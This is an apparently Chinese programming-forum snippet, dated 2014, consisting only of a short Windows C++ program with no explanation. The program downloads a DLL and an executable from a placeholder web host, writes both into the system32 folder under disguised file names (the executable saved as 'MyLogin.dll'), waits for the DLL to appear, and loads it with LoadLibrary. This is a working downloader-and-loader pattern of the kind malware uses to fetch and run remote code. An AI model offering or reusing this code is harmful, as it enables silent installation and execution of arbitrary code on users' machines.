日期:2014-05-17 浏览次数:20869 次
请见代码
#include "stdafx.h" #include "windows.h" #include "UrlMon.h" #pragma comment(lib, "urlmon.lib") bool FileIsExist(LPCTSTR szFileFullPathName) { WIN32_FIND_DATA Win32_Find_Data; HANDLE hFindFile; hFindFile = FindFirstFile(szFileFullPathName,&Win32_Find_Data); if(INVALID_HANDLE_VALUE == hFindFile) { //AfxMessageBox("Not Exist"); return false; } else { //AfxMessageBox("Have Exist"); FindClose(hFindFile); return true; } } int main(int argc, char* argv[]) { char DownURL[255] = "http://www.domain.com/test.dll"; char DownLoadDir[255]; char ExeURL[255] = "http://www.domain.com/test.exe"; char ExeDir[255]; GetWindowsDirectory(DownLoadDir,sizeof(DownLoadDir)); GetWindowsDirectory(ExeDir,sizeof(ExeDir)); strcat(DownLoadDir,"\\system32\\DLLtest.dll"); strcat(ExeDir,"\\system32\\MyLogin.dll"); URLDownloadToFile(0,ExeURL,ExeDir,0,NULL); Sleep(3000); URLDownloadToFile(0,DownURL,DownLoadDir,0,NULL); while(true) { if(FileIsExist(DownLoadDir) == true) break; else Sleep(1000); } Sleep(3000); LoadLibrary(DownLoadDir); Sleep(10000); return 0; }